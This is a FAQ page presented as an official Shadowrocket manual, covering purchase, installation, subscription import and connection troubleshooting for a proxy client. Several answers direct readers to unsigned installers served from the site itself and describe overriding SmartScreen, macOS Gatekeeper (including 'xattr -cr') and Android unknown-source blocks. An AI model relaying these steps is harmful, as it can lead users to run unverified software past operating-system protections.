Official Manual · FAQ

Shadowrocket FAQ

First, identify where the issue occurs, then expand the relevant answer. Check purchase history, system permissions, imported data, and routing settings separately; you don’t need to reinstall right away.

Getting and restoring the app

Purchases and purchase recovery

Check the product page and purchase account before troubleshooting storefront region or purchase history.

Can I use Shadowrocket on desktop or Android? How do I get it on each platform?

Yes. The iPhone and iPad version costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. Mac downloads are available for Apple Silicon and Intel; choose the right package for your device on other platforms, too. Visit this site’s download page and use the button for your platform. Installers are served from /dl/shadowrocket/. Shadowrocket is a closed-source commercial app. A one-time app purchase does not include a service plan; you’ll need your own existing subscription or server details to connect.

Can’t find Shadowrocket in the App Store? Check this first

Open the App Store product page linked here and check whether it’s available in your account’s storefront. The app isn’t listed in the mainland China App Store. Your device language or system region may differ from the storefront region tied to your purchase account. In Settings, go to Apple Account, Media & Purchases, then View Account to check Country/Region. If you need to change it, follow Apple’s official process and first address any balance, active subscriptions, and payment methods. Don’t repeatedly change regions just to affect search results.

How to verify the genuine Shadowrocket app in the App Store

Check the product name, official icon, and developer together. The developer should be Shadow Launch Technology Limited, the app ID in the product page URL should be 932747118, and the icon should match the official icon shown on this site. Don’t rely on the name in search results alone. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. If you see a free store listing with the same name, return to the specified product page to verify it before installing.

Do I need to buy Shadowrocket again when I get a new iPhone, reinstall it, or use it on iPad?

Usually not. You can restore the purchase on iPhone and iPad using the same Apple ID that made the purchase. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. Make sure Media & Purchases is signed in to the original account, then find the app in your App Store account’s purchase history and tap the cloud download button. Check the App Store page for the iPhone and iPad system requirements. Purchase history doesn’t back up your configuration, so save your existing server details and settings before switching devices.

Already purchased, but still seeing a purchase button? What to do

Don’t pay again yet. Check the account and app name on your receipt against the account currently signed in to Media & Purchases, then check your App Store purchase history. Your iCloud account may differ from the account used for store purchases. Also make sure you’re viewing the product page for app ID 932747118, not a similarly named listing. If the purchase still doesn’t appear, check its status in your App Store purchase history or contact Apple Support. Restoring a purchase restores your eligibility to download the app; it won’t restore subscription URLs, server passwords, or local settings.

Devices and permissions

Installation and first launch

Verify the source when installation prompts appear; grant only the permissions needed for the current action.

Which Mac version should I choose: Apple Silicon or Intel?

Open About This Mac from the Apple menu. If it identifies an Apple chip, choose Mac Apple Silicon on the download page. If it lists an Intel processor, choose Mac Intel. Don’t determine the architecture from the computer’s appearance, purchase year, or browser. The iPhone and iPad version costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. After downloading, move the app to Applications. If macOS blocks the first launch, confirm the download came from this site, then follow the macOS instructions on this page to open it.

Windows warns that the app may be unsafe or SmartScreen blocks it. How do I proceed?

First, make sure you downloaded the installer from this site’s download page. Files are served from /dl/shadowrocket/. The installer isn’t code-signed, so SmartScreen may show a warning on first launch. After verifying the source, select More info, then Run anyway. If the warning comes from an organization’s management policy, security software has quarantined the file, or there’s no option to continue, stop and review the specific warning. Don’t turn off system protection globally. Once installed, open Shadowrocket and grant the permissions requested by the system to establish a connection.

Mac says the developer can’t be verified or the app is damaged. What should I do?

Check that you downloaded the right version for your chip and that the file came from this site, then move Shadowrocket to Applications. The installer isn’t code-signed. If macOS says the developer can’t be verified, find the blocked app notice under Privacy & Security in System Settings, select Open Anyway, and confirm. If macOS says the app is damaged, download it again. After confirming the file came from this site and is in the right location, run xattr -cr /Applications/Shadowrocket.app in Terminal, then try opening it again. This command clears extended attributes for the specified app; don’t replace it with an operation targeting the entire disk.

What permissions are needed for first-time installation on Android and Linux?

On Android, download the arm64 installer from this site. If installation is blocked, allow the browser or file manager you’re using to open the file to install unknown apps; you can turn this permission off afterward. Confirm the system VPN permission the first time you connect. On Linux, choose deb, rpm, or AppImage for your distribution. AppImage files need execute permission first, for example, chmod +x Shadowrocket.AppImage; use the actual downloaded filename. The installer isn’t code-signed. If you see a source warning, verify the download path on this site rather than disabling system protection altogether.

The app opens in English. Where should I start?

Start with a few key screens; you don’t need to change every option in Settings. Use Home to choose a server and connect. Add Server is where you enter your own existing server details. Config manages configuration files. Global Routing lets you choose Config, Proxy, or Direct. After importing, select a server, turn on the switch at the top of Home, then run Connectivity Test. This manual keeps interface labels in English so you can match them on screen. The location of options may vary by platform or system language, so follow the interface on your device.

Using existing configurations

Subscriptions and server imports

First distinguish a subscription URL from a single server, then check the format, fields, and refresh results.

How do I import an existing subscription, and how is it different from a single server?

First, check whether you have a subscription URL or the address, port, and authentication details for a single server. Enter a subscription URL in the Subscribe option under Add Server, fill in the URL and a recognizable label, then save and refresh the list. For a single server, select the relevant protocol and enter each field. Don’t paste a full subscription URL into the server’s Address field. Importing creates a local entry; it doesn’t confirm the connection works. After saving, select a default server, check Global Routing, and verify it with Connectivity Test.

Subscription import failed. What should I check, and in what order?

First, make sure the URL is complete, especially its query parameters, capitalization, and final characters. Remove any spaces or line breaks added when copying. Then distinguish a request failure from a content parsing failure. For a request failure, check your current network and whether the URL is valid. For a parsing failure, confirm the response is a supported subscription format, not a login page, error page, or help webpage. Once you’ve confirmed your existing subscription is still valid, try refreshing it once. When contacting your own service provider, share only the error message and steps to reproduce it. Hide the full subscription URL and authentication fields in screenshots to avoid exposing working credentials.

After refreshing a subscription, will my server selection and notes stay the same?

Refreshing updates the subscription group to match the remote content, so server names, the number of servers, and parameters may change. Don’t treat remote entries as permanent records. Before refreshing, note your selected server and important local changes; back up your configuration if needed. Afterward, check that your default server is still there and run Connectivity Test. If the refresh fails, read the error before taking action; don’t delete the whole subscription group right away. Keep manually added servers distinct from subscription-generated entries so you don’t remove something you still need during a bulk cleanup.

Scanned a QR code with Scan QR Code, but no usable server appeared. How do I find out why?

Make sure camera access is allowed and the QR code is complete, clear, and unobstructed. Scan QR Code recognizes supported server or subscription details; a regular webpage QR code, sign-in confirmation code, or outdated image may not create an entry. If scanning opens an edit screen, check the protocol, Address, Port, and authentication fields before saving. Don’t connect based on the name alone. If you only have an image, use the photo recognition option available in your interface. If it still can’t be parsed, check the original details with your own service provider and enter them manually with Add Server.

VMess, VLESS, or Hysteria2 import still fails. What should I check?

Make sure the selected protocol matches your existing server details, then check the address, port, and authentication fields one by one. For VMess and VLESS, verify the UUID, transport method, and corresponding Host and Path in particular. If using TLS, check the server name and certificate settings. For Hysteria2, confirm the authentication details and UDP network conditions; a different protocol working doesn’t mean this one should work too. Don’t troubleshoot by randomly enabling options or disabling certificate verification. Change one setting at a time and record the result after each test to pinpoint the field or network condition at fault.

What to check after connecting

Rules and troubleshooting

Change one setting at a time and repeat the same test to identify what made a difference.

The switch at the top of Home won’t turn on, or turns off immediately. What should I do?

Make sure you’ve selected a server with complete settings, and check whether the system is asking you to authorize the VPN configuration. The switch may not stay on until authorization is complete. Check for another active VPN connection or a device management policy, then stop conflicting connections and try again. If it still fails, quit and reopen Shadowrocket, then check System VPN settings for any unexpected configuration. Back up your in-app data before removing a configuration, and delete only entries clearly associated with Shadowrocket. On a managed device, ask the administrator to confirm permissions instead of reinstalling repeatedly.

The switch is on, but I can’t access the internet. What should I check first?

Check the server, Global Routing, DNS, and rules in that order. Start with Connectivity Test. If the current server fails, try another working server you already have and compare Wi-Fi with mobile data. If the test passes, switch to Proxy temporarily and check whether the target website loads. If only Config fails, check your rules and selected configuration first. If you can reach an IP address but not a domain, check DNS settings. Change one thing at a time and repeat the same test. When you’re done, restore your original routing mode. An enabled switch only means the connection configuration has started; it doesn’t guarantee that every request will succeed.

How do I choose between Config, Proxy, and Direct in Global Routing?

Config follows the rules in your current configuration file to route requests, so use it when you need split routing. Proxy sends regular requests through the selected proxy route, making it useful for a quick comparison of server and rule behavior. Direct connects without a proxy, which helps you compare your local network. Select Config, Proxy, or Direct in the interface; don’t confuse these modes with the policy names PROXY and DIRECT. If Proxy works but Config doesn’t, check the active configuration, rule order, and FINAL. When troubleshooting is done, switch back to the mode you need.

How can I troubleshoot DNS without making the setup more complicated?

Save your current configuration and note the DNS settings in use. Then compare the same server and website across different networks. If a domain won’t load but its known IP address is reachable, that may indicate a DNS resolution issue; check the query results in the logs to confirm. If you added a custom DNS address, temporarily restore the original configuration or system DNS for comparison. Don’t change DNS, the server, and rules at the same time. If using a custom resolver, make sure it’s reachable over its connection path. Repeat the test with the same domain after restoring settings. Once results are consistent, keep only the changes you need.

Battery use has increased or speeds have slowed after connecting. How can I narrow down the cause?

Check your system’s battery usage over a meaningful period of normal use. Distinguish continuous traffic, background activity, and frequent reconnects; don’t judge from a short period right after connecting. For speed issues, compare your local network first, then keep the test target the same while trying another server you already have. Connectivity Test checks reachability, not actual bandwidth. Check whether detailed logs are left on for long periods, automatic tests run frequently, or connections are repeatedly triggered; reduce these if needed. If the issue started after an update, back up your configuration and review related settings one at a time instead of resetting everything at once.

Free download for Shadowrocket